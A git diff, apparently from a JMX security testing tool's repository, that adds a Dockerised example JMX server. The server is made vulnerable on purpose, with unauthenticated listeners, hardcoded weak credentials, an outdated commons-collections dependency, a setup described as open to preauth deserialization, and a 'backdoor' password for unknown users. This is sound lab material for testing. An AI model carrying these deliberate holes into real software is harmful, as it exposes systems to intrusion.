/etc/hosts file..." +echo "[+] Preparing /etc/hosts file..." +MOD=$(sed -E "s/${IP}.+/${IP} iinsecure.dev/" /etc/hosts) +echo "${MOD}" > /etc/hosts echo "127.0.0.1 iinsecure.dev" >> /etc/hosts -echo "[+] Starting tomcat..." -exec catalina.sh run +echo "[+] Starting rmi server..." +exec /usr/bin/java -jar /opt/jmx-example-server.jar diff --git a/docker/jmx-example-server/resources/server/pom.xml b/docker/jmx-example-server/resources/server/pom.xml new file mode 100644 index 0000000..5392449 --- /dev/null +++ b/docker/jmx-example-server/resources/server/pom.xml @@ -0,0 +1,82 @@ + + + + 4.0.0 + + de.qtc.beanshooter.server + jmx-example-server + 1.0.0 + jmx-example-server + JMX Example Server + + + UTF-8 + 1.8 + 1.8 + + + + + + commons-collections + commons-collections + 3.1 + + + + org.glassfish.external + opendmk_jmxremote_optional_jar + 1.0-b01-ea + + + + org.glassfish.extras + bean-validator + 4.0.0.Alpha3 + + + + + + src + + + + maven-assembly-plugin + + + package + + single + + + + + jmx-example-server-${project.version} + + + de.qtc.beanshooter.server.Starter + true + + + + jar-with-dependencies + + + + + + maven-jar-plugin + 3.2.0 + + + default-jar + none + + + + + + + + diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/Starter.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/Starter.java new file mode 100644 index 0000000..5974414 --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/Starter.java @@ -0,0 +1,167 @@ +package de.qtc.beanshooter.server; + +import java.io.IOException; +import java.rmi.AlreadyBoundException; +import java.rmi.RemoteException; +import java.rmi.registry.LocateRegistry; +import java.security.NoSuchAlgorithmException; + +import de.qtc.beanshooter.server.jmxmp.PlainJmxmpServer; +import de.qtc.beanshooter.server.jmxmp.SaslCramJmxmpServer; +import de.qtc.beanshooter.server.jmxmp.SaslDigestJmxmpServer; +import de.qtc.beanshooter.server.jmxmp.SaslNtlmJmxmpServer; +import de.qtc.beanshooter.server.jmxmp.SaslPlainJmxmpServer; +import de.qtc.beanshooter.server.jmxmp.SslJmxmpServer; +import de.qtc.beanshooter.server.rmi.PlainJmxConnector; +import de.qtc.beanshooter.server.rmi.SslJmxConnector; +import de.qtc.beanshooter.server.utils.Logger; + +/** + * The starter class contains the main function for the JMX example server and + * is responsible for launching the different kinds of JMX services. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class Starter { + + private final static int registryPort = 9010; + private final static int sslRegistryPort = 1090; + + private final static int jmxmpPlain = 4444; + private final static int jmxmpSaslTLS = 4445; + private final static int jmxmpSaslPlain = 4446; + private final static int jmxmpSaslDigest = 4447; + private final static int jmxmpSaslCram = 4448; + private final static int jmxmpSaslNtlm = 4449; + + + /** + * Start the different JMX and JMXMP services. + * + * @param args command line arguments. None are expected. + * @throws AlreadyBoundException Should never occur + * @throws IOException + */ + public static void main(String[] args) throws AlreadyBoundException, IOException + { + try + { + createRmiRegistries(registryPort, sslRegistryPort); + createRmiBasedJmx(registryPort, sslRegistryPort); + createJmxmpBasedJmx(jmxmpPlain, jmxmpSaslTLS, jmxmpSaslPlain, jmxmpSaslDigest, jmxmpSaslCram, jmxmpSaslNtlm); + } + catch( Exception e ) + { + Logger.eprintlnYellow("Unexpected Exception:"); + e.printStackTrace(); + } + } + + /** + * Creates two RMI registries on different ports. The argument names may lead to the assumption + * that one of the registries will be TLS protected, but this is not the case. Instead, this registry + * will bind a TLS protected listener. + * + * @param plainPort port to start the RMI registry for the plain JMX object + * @param sslPort port to start the RMI registry for the TLS protected JMX object + * @throws RemoteException + */ + private static void createRmiRegistries(int plainPort, int sslPort) throws RemoteException + { + Logger.printlnBlue("Creating RMI registries:"); + Logger.increaseIndent(); + + Logger.printlnMixedYellow("Creating RMI registry on port", String.valueOf(plainPort)); + LocateRegistry.createRegistry(plainPort); + + Logger.printlnMixedYellow("Creating RMI registry on port", String.valueOf(sslPort)); + LocateRegistry.createRegistry(sslPort); + + Logger.decreaseIndent(); + Logger.lineBreak(); + } + + /** + * Binds JMX services to the specified registry ports. + * + * @param plainPort port to bind the plain JMX service to + * @param sslPort port to bind the TLS protected JMX object to + * @throws IOException + */ + public static void createRmiBasedJmx(int plainPort, int sslPort) throws IOException + { + Logger.printlnBlue("Creating RMI based JMX instacnes:"); + Logger.increaseIndent(); + + Logger.printMixedBlue("Binding", "plain JMX", "remote object to registry on port "); + Logger.printlnPlainYellow(String.valueOf(plainPort)); + + PlainJmxConnector jmxConnector = new PlainJmxConnector(plainPort); + jmxConnector.start(); + + Logger.printMixedBlue("Binding", "SSL JMX", "remote object to registry on port "); + Logger.printlnPlainYellow(String.valueOf(sslPort)); + + SslJmxConnector sslJmxConnector = new SslJmxConnector(sslPort); + sslJmxConnector.start(); + + Logger.decreaseIndent(); + Logger.lineBreak(); + } + + /** + * Open the different JMXMP listeners. + * + * @param plain port for the plain listener (noauth) + * @param tls port for the TLS listener (noauth) + * @param sasl port for the SASL PLAIN auth mechanism + * @param digest port for the DIGEST-MD5 auth mechanism + * @param cram port for the CRAM-MD5 auth mechanism + * @param ntlm port for the NTLM auth mechanism + * @throws NoSuchAlgorithmException + * @throws IOException + */ + private static void createJmxmpBasedJmx(int plain, int tls, int sasl, int digest, int cram, int ntlm) throws NoSuchAlgorithmException, IOException + { + Logger.printlnBlue("Creating JMXMP instances:"); + Logger.increaseIndent(); + + Logger.printMixedBlue("Creating", "plain JMXMP", "server on port "); + Logger.printlnPlainYellow(String.valueOf(plain)); + + PlainJmxmpServer plainJmxmpServer = new PlainJmxmpServer(plain); + plainJmxmpServer.start(); + + Logger.printMixedBlue("Creating", "TLS JMXMP", "server on port "); + Logger.printlnPlainYellow(String.valueOf(tls)); + + SslJmxmpServer sslJmxmpServer = new SslJmxmpServer(tls); + sslJmxmpServer.start(); + + Logger.printMixedBlue("Creating", "SASL Plain JMXMP", "server on port "); + Logger.printlnPlainYellow(String.valueOf(sasl)); + + SaslPlainJmxmpServer saslPlainServer = new SaslPlainJmxmpServer(sasl); + saslPlainServer.start(); + + Logger.printMixedBlue("Creating", "SASL Digest JMXMP", "server on port "); + Logger.printlnPlainYellow(String.valueOf(digest)); + + SaslDigestJmxmpServer saslDigestServer = new SaslDigestJmxmpServer(digest); + saslDigestServer.start(); + + Logger.printMixedBlue("Creating", "SASL CRAM JMXMP", "server on port "); + Logger.printlnPlainYellow(String.valueOf(cram)); + + SaslCramJmxmpServer saslCramServer = new SaslCramJmxmpServer(cram); + saslCramServer.start(); + + Logger.printMixedBlue("Creating", "SASL NTLM JMXMP", "server on port "); + Logger.printlnPlainYellow(String.valueOf(ntlm)); + + SaslNtlmJmxmpServer saslNtlmServer = new SaslNtlmJmxmpServer(ntlm); + saslNtlmServer.start(); + + Logger.decreaseIndent(); + } +} \ No newline at end of file diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/PlainJmxmpServer.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/PlainJmxmpServer.java new file mode 100644 index 0000000..03ffcff --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/PlainJmxmpServer.java @@ -0,0 +1,47 @@ +package de.qtc.beanshooter.server.jmxmp; + +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.util.HashMap; +import java.util.Map; + +import javax.management.MBeanServer; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; + +/** + * Just a plain JMXMP listener that does not require authentication. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class PlainJmxmpServer { + + private JMXConnectorServer server; + + /** + * Create the server object. + * + * @param port port number to launch the server on + * @throws IOException + */ + public PlainJmxmpServer(int port) throws IOException + { + Map env = new HashMap(); + + MBeanServer mbeanServer = ManagementFactory.getPlatformMBeanServer(); + JMXServiceURL url = new JMXServiceURL("jmxmp", "0.0.0.0", port); + + server = JMXConnectorServerFactory.newJMXConnectorServer(url, env, mbeanServer); + } + + /** + * Start the server. + * + * @throws IOException + */ + public void start() throws IOException + { + server.start(); + } +} diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslCramJmxmpServer.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslCramJmxmpServer.java new file mode 100644 index 0000000..d8afe63 --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslCramJmxmpServer.java @@ -0,0 +1,69 @@ +package de.qtc.beanshooter.server.jmxmp; + +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.security.NoSuchAlgorithmException; +import java.util.HashMap; +import java.util.Map; + +import javax.management.MBeanServer; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocketFactory; + +import de.qtc.beanshooter.server.utils.AuthenticationCallbackHandler; + +/** + * JMXMP server that uses CRAM-MD5 mechanism to authenticate incoming connections. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class SaslCramJmxmpServer { + + private JMXConnectorServer server; + + /** + * Create the server object. The server uses fixed credentials: + * + * Username Password + * controlRole control + * monitorRole monitor + * + * @param port port number to create the server on + * @throws IOException + * @throws NoSuchAlgorithmException + */ + public SaslCramJmxmpServer(int port) throws IOException, NoSuchAlgorithmException + { + Map env = new HashMap(); + Map creds = new HashMap(); + + creds.put("monitorRole", "monitor"); + creds.put("controlRole", "control"); + + SSLContext ctx = SSLContext.getDefault(); + SSLSocketFactory ssf = ctx.getSocketFactory(); + + env.put("jmx.remote.profiles", "TLS SASL/CRAM-MD5"); + env.put("jmx.remote.sasl.callback.handler", new AuthenticationCallbackHandler(creds)); + env.put("jmx.remote.x.access.file", "/opt/jmxmp.access"); + env.put("jmx.remote.tls.socket.factory", ssf); + + MBeanServer mbeanServer = ManagementFactory.getPlatformMBeanServer(); + JMXServiceURL url = new JMXServiceURL("jmxmp", "0.0.0.0", port); + + server = JMXConnectorServerFactory.newJMXConnectorServer(url, env, mbeanServer); + } + + /** + * Start the server. + * + * @throws IOException + */ + public void start() throws IOException + { + server.start(); + } +} diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslDigestJmxmpServer.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslDigestJmxmpServer.java new file mode 100644 index 0000000..35d74be --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslDigestJmxmpServer.java @@ -0,0 +1,70 @@ +package de.qtc.beanshooter.server.jmxmp; + +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.security.NoSuchAlgorithmException; +import java.util.HashMap; +import java.util.Map; + +import javax.management.MBeanServer; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocketFactory; + +import de.qtc.beanshooter.server.utils.AuthenticationCallbackHandler; + +/** + * JMXMP server that uses DIGEST-MD5 mechanism to authenticate incoming connections. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class SaslDigestJmxmpServer { + + private JMXConnectorServer server; + + /** + * Create the server object. The server uses fixed credentials: + * + * Username Password + * controlRole control + * monitorRole monitor + * + * @param port port number to create the server on + * @throws IOException + * @throws NoSuchAlgorithmException + */ + public SaslDigestJmxmpServer(int port) throws IOException, NoSuchAlgorithmException + { + Map env = new HashMap(); + Map creds = new HashMap(); + + creds.put("monitorRole", "monitor"); + creds.put("controlRole", "control"); + + SSLContext ctx = SSLContext.getDefault(); + SSLSocketFactory ssf = ctx.getSocketFactory(); + + env.put("jmx.remote.profiles", "TLS SASL/DIGEST-MD5"); + env.put("jmx.remote.sasl.callback.handler", new AuthenticationCallbackHandler(creds)); + env.put("jmx.remote.x.access.file", "/opt/jmxmp.access"); + env.put("jmx.remote.tls.socket.factory", ssf); + env.put("com.sun.security.sasl.digest.realm", "iinsecure.dev"); + + MBeanServer mbeanServer = ManagementFactory.getPlatformMBeanServer(); + JMXServiceURL url = new JMXServiceURL("jmxmp", "0.0.0.0", port); + + server = JMXConnectorServerFactory.newJMXConnectorServer(url, env, mbeanServer); + } + + /** + * Start the server. + * + * @throws IOException + */ + public void start() throws IOException + { + server.start(); + } +} diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslNtlmJmxmpServer.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslNtlmJmxmpServer.java new file mode 100644 index 0000000..4486407 --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslNtlmJmxmpServer.java @@ -0,0 +1,69 @@ +package de.qtc.beanshooter.server.jmxmp; + +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.security.NoSuchAlgorithmException; +import java.util.HashMap; +import java.util.Map; + +import javax.management.MBeanServer; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocketFactory; + +import de.qtc.beanshooter.server.utils.AuthenticationCallbackHandler; + +/** + * JMXMP server that uses NTLM mechanism to authenticate incoming connections. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class SaslNtlmJmxmpServer { + + private JMXConnectorServer server; + + /** + * Create the server object. The server uses fixed credentials: + * + * Username Password + * controlRole control + * monitorRole monitor + * + * @param port port number to create the server on + * @throws IOException + * @throws NoSuchAlgorithmException + */ + public SaslNtlmJmxmpServer(int port) throws IOException, NoSuchAlgorithmException + { + Map env = new HashMap(); + Map creds = new HashMap(); + + creds.put("monitorRole", "monitor"); + creds.put("controlRole", "control"); + + SSLContext ctx = SSLContext.getDefault(); + SSLSocketFactory ssf = ctx.getSocketFactory(); + + env.put("jmx.remote.profiles", "TLS SASL/NTLM"); + env.put("jmx.remote.sasl.callback.handler", new AuthenticationCallbackHandler(creds)); + env.put("jmx.remote.x.access.file", "/opt/jmxmp.access"); + env.put("jmx.remote.tls.socket.factory", ssf); + + MBeanServer mbeanServer = ManagementFactory.getPlatformMBeanServer(); + JMXServiceURL url = new JMXServiceURL("jmxmp", "0.0.0.0", port); + + server = JMXConnectorServerFactory.newJMXConnectorServer(url, env, mbeanServer); + } + + /** + * Start the server. + * + * @throws IOException + */ + public void start() throws IOException + { + server.start(); + } +} diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslPlainJmxmpServer.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslPlainJmxmpServer.java new file mode 100644 index 0000000..7b8d440 --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SaslPlainJmxmpServer.java @@ -0,0 +1,75 @@ +package de.qtc.beanshooter.server.jmxmp; + +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.security.NoSuchAlgorithmException; +import java.security.Security; +import java.util.HashMap; +import java.util.Map; + +import javax.management.MBeanServer; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocketFactory; + +import com.sun.jdmk.security.sasl.Provider; + +import de.qtc.beanshooter.server.utils.AuthenticationCallbackHandler; + +/** + * JMXMP server that uses SASL Plain mechanism to authenticate incoming connections. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class SaslPlainJmxmpServer { + + private JMXConnectorServer server; + + /** + * Create the server object. The server uses fixed credentials: + * + * Username Password + * controlRole control + * monitorRole monitor + * + * @param port port number to create the server on + * @throws IOException + * @throws NoSuchAlgorithmException + */ + public SaslPlainJmxmpServer(int port) throws IOException, NoSuchAlgorithmException + { + Map env = new HashMap(); + Map creds = new HashMap(); + + creds.put("monitorRole", "monitor"); + creds.put("controlRole", "control"); + + SSLContext ctx = SSLContext.getDefault(); + SSLSocketFactory ssf = ctx.getSocketFactory(); + + Provider saslPlainProvider = new Provider(); + Security.addProvider(saslPlainProvider); + + env.put("jmx.remote.profiles", "TLS SASL/PLAIN"); + env.put("jmx.remote.sasl.callback.handler", new AuthenticationCallbackHandler(creds)); + env.put("jmx.remote.x.access.file", "/opt/jmxmp.access"); + env.put("jmx.remote.tls.socket.factory", ssf); + + MBeanServer mbeanServer = ManagementFactory.getPlatformMBeanServer(); + JMXServiceURL url = new JMXServiceURL("jmxmp", "0.0.0.0", port); + + server = JMXConnectorServerFactory.newJMXConnectorServer(url, env, mbeanServer); + } + + /** + * Start the server. + * + * @throws IOException + */ + public void start() throws IOException + { + server.start(); + } +} diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SslJmxmpServer.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SslJmxmpServer.java new file mode 100644 index 0000000..212b030 --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/jmxmp/SslJmxmpServer.java @@ -0,0 +1,56 @@ +package de.qtc.beanshooter.server.jmxmp; + +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.security.NoSuchAlgorithmException; +import java.util.HashMap; +import java.util.Map; + +import javax.management.MBeanServer; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocketFactory; + +/** + * Just a TLS protected JMXMP listener that does not require authentication. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class SslJmxmpServer { + + private JMXConnectorServer server; + + /** + * Create the server object. The server uses the globally configured TLS certificate. + * + * @param port port number to launch the server on + * @throws IOException + */ + public SslJmxmpServer(int port) throws IOException, NoSuchAlgorithmException + { + Map env = new HashMap(); + + SSLContext ctx = SSLContext.getDefault(); + SSLSocketFactory ssf = ctx.getSocketFactory(); + + env.put("jmx.remote.profiles", "TLS"); + env.put("jmx.remote.tls.socket.factory", ssf); + + MBeanServer mbeanServer = ManagementFactory.getPlatformMBeanServer(); + JMXServiceURL url = new JMXServiceURL("jmxmp", "0.0.0.0", port); + + server = JMXConnectorServerFactory.newJMXConnectorServer(url, env, mbeanServer); + } + + /** + * Start the server. + * + * @throws IOException + */ + public void start() throws IOException + { + server.start(); + } +} diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/rmi/PlainJmxConnector.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/rmi/PlainJmxConnector.java new file mode 100644 index 0000000..dec4828 --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/rmi/PlainJmxConnector.java @@ -0,0 +1,48 @@ +package de.qtc.beanshooter.server.rmi; + +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.util.HashMap; +import java.util.Map; + +import javax.management.MBeanServer; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; + +/** + * Plain RMI based JMX server. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class PlainJmxConnector { + + private JMXConnectorServer server; + + /** + * Creates the server object. + * + * @param port port of an RMI Registry server on the local system + * @throws IOException + */ + public PlainJmxConnector(int port) throws IOException + { + Map env = new HashMap(); + + MBeanServer mbeanServer = ManagementFactory.getPlatformMBeanServer(); + JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:" + port + "/jmxrmi"); + + server = JMXConnectorServerFactory.newJMXConnectorServer(url, env, mbeanServer); + } + + /** + * Starts the JMX service. This binds the jmxrmi bound name to the RMI registry and exports the corresponding + * remote object. + * + * @throws IOException + */ + public void start() throws IOException + { + server.start(); + } +} diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/rmi/SslJmxConnector.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/rmi/SslJmxConnector.java new file mode 100644 index 0000000..a188025 --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/rmi/SslJmxConnector.java @@ -0,0 +1,63 @@ +package de.qtc.beanshooter.server.rmi; + +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.util.HashMap; +import java.util.Map; + +import javax.management.MBeanServer; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; +import javax.management.remote.rmi.RMIConnectorServer; +import javax.rmi.ssl.SslRMIClientSocketFactory; +import javax.rmi.ssl.SslRMIServerSocketFactory; + +import de.qtc.beanshooter.server.utils.SimplePasswordAuthenticator; + +/** + * TLS protected RMI based JMX server that uses a password based authenticator. This server does intentionally + * not use environment variables to launch the default JMX service in an secure configured way. Instead we configure + * it our own and make it vulnerable e.g. to preauth deserialization attacks. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class SslJmxConnector { + + private JMXConnectorServer server; + + /** + * Creates an TLS protected RMI based JMX server that is additionally protected by simple + * password based authentication. The server uses the custom bound name "secure-jmxrmi" + * + * @param port port of an RMI Registry server on the local system + * @throws IOException + */ + public SslJmxConnector(int port) throws IOException + { + Map env = new HashMap(); + + SimplePasswordAuthenticator authenticator = new SimplePasswordAuthenticator(); + authenticator.addCredential("admin", "admin"); + + env.put(RMIConnectorServer.RMI_SERVER_SOCKET_FACTORY_ATTRIBUTE, new SslRMIServerSocketFactory()); + env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, new SslRMIClientSocketFactory()); + env.put(JMXConnectorServer.AUTHENTICATOR, authenticator); + + MBeanServer mbeanServer = ManagementFactory.getPlatformMBeanServer(); + JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:" + port + "/secure-jmxrmi"); + + server = JMXConnectorServerFactory.newJMXConnectorServer(url, env, mbeanServer); + } + + /** + * Starts the JMX service. This binds the "secure-jmxrmi" bound name to the RMI registry and exports the + * corresponding remote object. + * + * @throws IOException + */ + public void start() throws IOException + { + server.start(); + } +} diff --git a/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/callbacks/AuthenticationCallBackHandler.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/utils/AuthenticationCallbackHandler.java similarity index 59% rename from .docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/callbacks/AuthenticationCallBackHandler.java rename to docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/utils/AuthenticationCallbackHandler.java index 36e680f..baceb02 100644 --- a/.docker/resources/jmxmp/src/com/sun/jdmk/security/sasl/callbacks/AuthenticationCallBackHandler.java +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/utils/AuthenticationCallbackHandler.java @@ -1,9 +1,8 @@ -package com.sun.jdmk.security.sasl.callbacks; +package de.qtc.beanshooter.server.utils; import java.io.IOException; -import java.util.HashMap; +import java.util.Map; -import javax.management.remote.extension.JMXMPSaslLifecycleListener; import javax.security.auth.callback.Callback; import javax.security.auth.callback.CallbackHandler; import javax.security.auth.callback.NameCallback; @@ -12,21 +11,34 @@ import javax.security.sasl.AuthorizeCallback; import javax.security.sasl.RealmCallback; -import org.apache.juli.logging.Log; -import org.apache.juli.logging.LogFactory; - import com.sun.jdmk.security.sasl.AuthenticateCallback; -public class AuthenticationCallBackHandler implements CallbackHandler { - - private HashMap credentials = new HashMap(); - private static final Log log = LogFactory.getLog(JMXMPSaslLifecycleListener.class); - - public AuthenticationCallBackHandler() { - this.credentials.put("controlRole", "control"); - this.credentials.put("monitorRole", "monitor"); +/** + * SASL protected JMXMP endpoints require a CallbackHandlers to obtain the credentials from. + * This class implements a CallnbackHandler that stores usernames and passwords and returns + * them accordingly. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class AuthenticationCallbackHandler implements CallbackHandler { + + private final Map credentials; + + /** + * Create an AuthenticationCallbackHandler and store some credentials within of it. + * Credentials should be contained within a Map with format. + * + * @param credentials map that contains the available credentials. + */ + public AuthenticationCallbackHandler(Map credentials) + { + this.credentials = credentials; } + /** + * Sets the username or password according to the incoming callback. If the incoming callback + * is a RealmCallback, set iinsecure.dev as realm. + */ @Override public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException { @@ -48,7 +60,7 @@ public void handle(Callback[] callbacks) throws IOException, UnsupportedCallback String authid = authorize.getAuthenticationID(); String authzid = authorize.getAuthorizationID(); - log.info("Got AuthorizeCallback for '" + authid + ":" + authzid + "'"); + Logger.printlnMixedYellow("Got AuthorizeCallback for", authid + ":" + authzid); if (authid.equals(authzid)) { authorize.setAuthorized(true); @@ -62,12 +74,15 @@ public void handle(Callback[] callbacks) throws IOException, UnsupportedCallback password = new String(authenticate.getPassword()); String pw = credentials.get(username); - log.info("Got AuthenticatedCallback for '" + username + ":" + password + "'"); + Logger.printlnMixedYellow("Got AuthenticateCallback for", username + ":" + password); - if(pw == null) { - log.info("Username '" + username + "' is unknown."); + if(pw == null) + { + Logger.printlnMixedYellow("Username", username, "is not known."); authenticate.setAuthenticated(false); - } else if (pw.equals(password)) { + } + else if (pw.equals(password)) + { authenticate.setAuthenticated(true); } @@ -76,18 +91,23 @@ public void handle(Callback[] callbacks) throws IOException, UnsupportedCallback name = (NameCallback)callbacks[i]; username = name.getDefaultName(); - log.info("Got NameCallback for '" + username +"'"); + Logger.printlnMixedYellow("Got NameCallback for", username); name.setName(username); } else if (callbacks[i] instanceof PasswordCallback) { pass = (PasswordCallback)callbacks[i]; password = credentials.get(username); + + Logger.println("Got Password callback."); if(password == null) { - log.info("Username '" + username + "' is unknown."); + + Logger.printlnMixedYellow("Username", username, "is not known."); pass.setPassword("backdoor :O".toCharArray()); + } else { + Logger.printlnMixedYellow("Setting password", password); pass.setPassword(password.toCharArray()); } @@ -101,4 +121,4 @@ public void handle(Callback[] callbacks) throws IOException, UnsupportedCallback } } } -} +} \ No newline at end of file diff --git a/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/utils/Logger.java b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/utils/Logger.java new file mode 100644 index 0000000..aaaff74 --- /dev/null +++ b/docker/jmx-example-server/resources/server/src/de/qtc/beanshooter/server/utils/Logger.java @@ -0,0 +1,345 @@ +package de.qtc.beanshooter.server.utils; + +import java.text.SimpleDateFormat; +import java.util.Calendar; + +/** + * Logger class that helps to print some formatted output including time-stamps. + * + * @author Tobias Neitzel (@qtc_de) + */ +public class Logger { + + private static String ANSI_RESET = "\u001B[0m"; + private static String ANSI_YELLOW = "\u001B[33m"; + private static String ANSI_BLUE = "\u001B[34m"; + + public static int indent = 0; + public static boolean verbose = true; + public static Calendar cal = Calendar.getInstance(); + public static SimpleDateFormat date = new SimpleDateFormat("yyyy.MM.dd - HH:mm:ss"); + + private static String blue(String msg) + { + return ANSI_BLUE + msg + ANSI_RESET; + } + + private static String yellow(String msg) + { + return ANSI_YELLOW + msg + ANSI_RESET; + } + + private static String prefix() + { + return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + } + + private static String eprefix() + { + return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + } + + public static void lineBreak() + { + log("", true); + } + + private static void log(String msg) + { + log(msg, true); + } + + private static void log(String msg, boolean newline) + { + if( Logger.verbose ) { + + if( newline ) + System.out.println(msg); + else + System.out.print(msg); + } + } + + private static void elog(String msg) + { + elog(msg, true); + } + + private static void elog(String msg, boolean newline) + { + if( newline ) + System.out.println(msg); + else + System.out.print(msg); + } + + public static void print(String msg) + { + log(prefix() + msg, false); + } + + public static void println(String msg) + { + log(prefix() + msg); + } + + public static void printlnPlain(String msg) + { + log(msg, true); + } + + public static void eprint(String msg) + { + elog(eprefix() + msg, false); + } + + public static void eprintln(String msg) + { + elog(eprefix() + msg); + } + + public static void eprintlnPlain(String msg) + { + elog(msg); + } + + public static void printlnBlue(String msg) + { + log(prefix() + blue(msg)); + } + + public static void eprintlnBlue(String msg) + { + elog(prefix() + blue(msg)); + } + + public static void printlnYellow(String msg) + { + log(prefix() + yellow(msg)); + } + + public static void eprintlnYellow(String msg) + { + elog(prefix() + yellow(msg)); + } + + public static void printlnPlainBlue(String msg) + { + log(blue(msg)); + } + + public static void eprintlnPlainBlue(String msg) + { + elog(blue(msg)); + } + + public static void printlnPlainYellow(String msg) + { + log(yellow(msg)); + } + + public static void eprintlnPlainYellow(String msg) + { + elog(yellow(msg)); + } + + public static void printlnMixedBlue(String first, String second) + { + log(prefix() + first + " " + blue(second)); + } + + public static void printlnMixedBlue(String first, String second, String third) + { + log(prefix() + first + " " + blue(second) + " " + third); + } + + public static void printlnMixedYellow(String first, String second) + { + log(prefix() + first + " " + yellow(second)); + } + + public static void printlnMixedYellow(String first, String second, String third) + { + log(prefix() + first + " " + yellow(second) + " " + third); + } + + public static void eprintlnMixedBlue(String first, String second) + { + elog(eprefix() + first + " " + blue(second)); + } + + public static void eprintlnMixedBlue(String first, String second, String third) + { + elog(eprefix() + first + " " + blue(second) + " " + third); + } + + public static void eprintlnMixedYellow(String first, String second) + { + elog(eprefix() + first + " " + yellow(second)); + } + + public static void eprintlnMixedYellow(String first, String second, String third) + { + elog(eprefix() + first + " " + yellow(second) + " " + third); + } + + public static void printlnMixedBlueFirst(String first, String second) + { + log(prefix() + blue(first) + " " + second); + } + + public static void printlnMixedBlueFirst(String first, String second, String third) + { + log(prefix() + blue(first) + " " + second + " " + blue(third)); + } + + public static void printlnMixedBlueYellow(String first, String second, 